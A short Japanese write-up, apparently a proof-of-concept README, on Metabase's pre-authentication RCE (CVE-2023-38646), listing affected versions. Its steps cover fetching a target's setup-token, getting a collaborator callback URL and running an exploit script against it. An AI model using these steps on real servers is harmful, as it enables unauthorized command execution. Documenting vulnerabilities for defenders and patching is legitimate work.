
Metabase 認証前RCE(CVE-2023-38646)
Metabase は、多様なデータベースやデータソースのデータを使ってチャートやダッシュボードを作成できる、オープンソースのビジネスインテリジェンスツールです。GitHub で 33k 以上のスターを集める人気プロジェクトであり、ここ数年は脆弱性研究の観点からもかなり多くの調査が行われてきました。
Metabase オープンソース版 0.46.6.1 以前、および Metabase Enterprise 1.46.6.1 以前では、攻撃者がサーバーの権限レベルで任意のコマンドを実行できる可能性があります。認証は悪用に必要ありません。修正済みのその他のバージョンは、0.45.4.1、1.45.4.1、0.44.7.1、1.44.7.1、0.43.7.2、1.43.7.2 です。
* http://target.com/api/session/properties にアクセスします
* setup-token をコピーします
* collaborator URL を取得します
python3 CVE-2023-38646.py -u <target> -t <setup-token> -c <collaborator-url>
Metabase Enterprise 1.46 < 1.46.6.1
Metabase Enterprise 1.45 < 1.45.4.1
Metabase Enterprise 1.44 < 1.44.7.1
Metabase Enterprise 1.43 < 1.43.7.2
Metabase open source 0.46 < 0.46.6.1
Metabase open source 0.45 < v0.45.4.1
Metabase open source 0.44 < 0.44.7.1
Metabase open source 0.43 < 0.43.7.2